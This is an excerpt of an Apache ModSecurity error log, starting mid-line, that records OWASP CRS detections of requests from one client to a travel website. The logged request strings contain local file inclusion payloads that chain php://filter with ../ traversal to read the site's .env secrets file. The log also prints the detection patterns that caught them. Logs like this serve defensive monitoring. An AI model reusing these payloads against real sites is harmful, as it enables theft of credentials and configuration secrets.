/?raw=1&content=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=kp5MUkgXey3Awr9W_1Ib89R7PqnybL9xqpcO02nXtgLauVEpSMlH8JWXAv3yyh-4v8O6mCkPAbbdG_nZ2rfJDCO9UIZQltOQPUNZm1bMqOe_nrBGE5lpm67ZQGyBsSU2mLLzBU_ybaCL0q8ufwpqcl1x0vrBMdPly5jzxsgTs3v5cqECCB1XprT69jw3Pu_SFYZq8UT96ShFEH2pQNXPJBgla7f2CC0sPgta3IPuT40aiwRQA43dMH-_TmmDQjZalZtL1dl8itlAjsr9s7qth_gD&cb=VBCRGMWIX6YN2EAYBEM6TWXAFR5FWFPJSKOOH4X3JPGXJCGSBDARQ3CTKGPK37G5IK4EWNEYZVQRATCGIMGWR2PUGB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.629823 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=kp5mukgxey3awr9w_1ib89r7pqnybl9xqpco02nxtglauvepsmlh8jwxav3yyh-4v8o6mckpabbdg_nz2rfjdco9uizqltoqpunzm1bmqoe_nrbge5lpm67zqgybssu2mllzbu_ybacl0q8ufwpqcl1x0vrbmdply5jzxsgts3v5cqeccb1xprt69jw3pu_sfyzq8ut96shfeh2pqnxpjbgla7f2cc0spgta3iput40aiwrqa43dmh-_tmmdqjzalztl1dl8itlajsr9s7qth_gd&cb=vbcrgmwix6yn2eaybem6twxafr5fwfpjskooh4x3jpgxjcgsbdarq3ctkgpk37g5ik4ewneyzvqratcgimgwr2pugb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.629855 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.629879 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.629909 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=FNJdIwhsQJO_uYphalBJFBT-Pj7Do4hAhkHkZqKWxs6KOu7T-TfcxGvi3FjG85NNf44Uo5_9olDSJOwWs1qXoHvT2GUsvJumRzOtB6ndSXSr7H5_35YBdSM4G4dBTC4GJe_nkJ0Zzjyb42lZLDXNTUpo7Um0GT_mo8BPB9rgnT6czsDA57JV2nIhDxCc2vwN7LReOB1Yb2RPD61Og59MW7NbhDOFIlxoMLkZppoVaGi1AhgVjWpZK09Fe8UiJhFSePbUET40zbbJdBei4YujOeo7&junk=M44VO3L7JIHUQHFERWILB6LZVBZMKGBUGW6NKFR5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.629966 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.630069 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&token=FNJdIwhsQJO_uYphalBJFBT-Pj7Do4hAhkHkZqKWxs6KOu7T-TfcxGvi3FjG85NNf44Uo5_9olDSJOwWs1qXoHvT2GUsvJumRzOtB6ndSXSr7H5_35YBdSM4G4dBTC4GJe_nkJ0Zzjyb42lZLDXNTUpo7Um0GT_mo8BPB9rgnT6czsDA57JV2nIhDxCc2vwN7LReOB1Yb2RPD61Og59MW7NbhDOFIlxoMLkZppoVaGi1AhgVjWpZK09Fe8UiJhFSePbUET40zbbJdBei4YujOeo7&junk=M44VO3L7JIHUQHFERWILB6LZVBZMKGBUGW6NKFR5SCJWQNSNZATMZSLGNMCXDD4LWEID..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.630120 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&token=fnjdiwhsqjo_uyphalbjfbt-pj7do4hahkhkzqkwxs6kou7t-tfcxgvi3fjg85nnf44uo5_9oldsjowws1qxohvt2gusvjumrzotb6ndsxsr7h5_35ybdsm4g4dbtc4gje_nkj0zzjyb42lzldxntupo7um0gt_mo8bpb9rgnt6czsda57jv2nihdxcc2vwn7lreob1yb2rpd61og59mw7nbhdofilxomlkzppovagi1ahgvjwpzk09fe8uijhfsepbuet40zbbjdbei4yujoeo7&junk=m44vo3l7jihuqhferwilb6lzvbzmkgbugw6nkfr5scjwqnsnzatmzslgnmcxdd4lweid..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.630177 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.630213 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.630223 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.630735 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.631253 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.631376 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.631674 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.632301 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.632380 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=d__r6mo0-DsjKt6mopEz97_BI_5-CeyAKb8q79yCx_EfSVuXoRWY2uGah0lXX07pTYKMXpP-a4LKwmHie-36B7FjyHDf_qFjkOpYq5MQ_VVFwQLrgdl22CWfQVJjUxnzZ0Z5MYJIq5VUo87zpJphIDoVq1ezf82ykb6bOjJAVvSbBC_SsIQAao1vkeHHrMsSA5QcTWz7YspI2M6FTaQC2cRUHtzwQzNVekEvN3z3F0jycVnhQdqr2U04JYvXVQizdtQ0kmQ-sIsI_GeLfzqwYJbN&ts=S7AQJ5ELB4W7EAKYZAKNA2IV5WSVOKNNWOEBDGHWF6PYCEKRJXWTXNBJSKR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.632426 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.632457 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.632472 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&token=d__r6mo0-DsjKt6mopEz97_BI_5-CeyAKb8q79yCx_EfSVuXoRWY2uGah0lXX07pTYKMXpP-a4LKwmHie-36B7FjyHDf_qFjkOpYq5MQ_VVFwQLrgdl22CWfQVJjUxnzZ0Z5MYJIq5VUo87zpJphIDoVq1ezf82ykb6bOjJAVvSbBC_SsIQAao1vkeHHrMsSA5QcTWz7YspI2M6FTaQC2cRUHtzwQzNVekEvN3z3F0jycVnhQdqr2U04JYvXVQizdtQ0kmQ-sIsI_GeLfzqwYJbN&ts=S7AQJ5ELB4W7EAKYZAKNA2IV5WSVOKNNWOEBDGHWF6PYCEKRJXWTXNBJSKR2TCJ6C2BQBQW72NVXIOL4VETRH4F..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.632516 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&token=d__r6mo0-dsjkt6mopez97_bi_5-ceyakb8q79ycx_efsvuxorwy2ugah0lxx07ptykmxpp-a4lkwmhie-36b7fjyhdf_qfjkopyq5mq_vvfwqlrgdl22cwfqvjjuxnzz0z5myjiq5vuo87zpjphidovq1ezf82ykb6bojjavvsbbc_ssiqaao1vkehhrmssa5qctwz7yspi2m6ftaqc2cruhtzwqznvekevn3z3f0jycvnhqdqr2u04jyvxvqizdtq0kmq-sisi_gelfzqwyjbn&ts=s7aqj5elb4w7eakyzakna2iv5wsvoknnwoebdghwf6pycekrjxwtxnbjskr2tcj6c2bqbqw72nvxiol4vetrh4f..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.632548 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.632572 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.632870 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSdQAAAB4"]
[Fri Jul 17 08:55:11.632928 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.633964 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.634136 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.634434 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8iAAAABA"]
[Fri Jul 17 08:55:11.637682 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t6wAAAA4"]
